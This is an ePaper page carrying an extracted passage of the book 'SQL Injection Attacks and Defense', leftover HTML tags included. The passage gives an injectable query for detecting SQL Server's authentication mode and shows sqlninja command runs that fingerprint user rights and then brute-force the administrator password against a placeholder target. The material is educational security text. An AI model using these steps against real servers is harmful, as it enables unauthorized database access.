28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

186 Chapter 4 • Exploiting <strong>SQL</strong> <strong>Injection</strong><br />

To detect which of the two possible authentication modes is in place<br />

(<strong>and</strong> therefore whether the attack can be attempted) you can inject the<br />

following code:<br />

select serverproperty('IsIntegratedSecurityOnly')<br />

This query will return 1 if Windows-only authentication is in place,<br />

<strong>and</strong> 0 otherwise.<br />

Of course, it would be impractical to perform a brute-force attack by h<strong>and</strong>. Putting<br />

together a script that does the job in an automated way is<br />

not a big task, but there are already free tools out there that implement the whole process,<br />

such as Bobcat, Burp Intruder, <strong>and</strong> sqlninja (all written by authors of this book). We will use<br />

sqlninja (which you can download at http://sqlninja.sourceforge.net) for an example of this<br />

attack. First we check whether we have administrative privileges (the output has been<br />

reduced to the most important parts):<br />

icesurfer@nightblade ~ $ ./sqlninja -m fingerprint<br />

Sqlninja rel. 0.2.3–r1<br />

Copyright (C) 2006–2008 icesurfer <br />

[+] Parsing configuration file...........<br />

[+] Target is: www.victim.com<br />

What do you want to discover ?<br />

0 – Database version (2000/2005)<br />

1 – Database user<br />

2 – Database user rights<br />

3 – Whether xp_cmdshell is working<br />

> 2<br />

[+] Checking whether user is member of sysadmin server role...<br />

You are not an administrator.<br />

Sqlninja uses a WAITFOR DELAY to check whether the current user is a member of<br />

the sysadmin group, <strong>and</strong> the answer is negative. We therefore feed sqlninja with a word list<br />

(the file wordlist.txt) <strong>and</strong> launch it in brute-force mode:<br />

icesurfer@nightblade ~ $ ./sqlninja -m bruteforce -w wordlist.txt<br />

Sqlninja rel. 0.2.3–r1<br />

Copyright (C) 2006–2008 icesurfer <br />

[+] Parsing configuration file...........<br />

[+] Target is: www.victim.com<br />

[+] Wordlist has been specified: using dictionary-based bruteforce

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!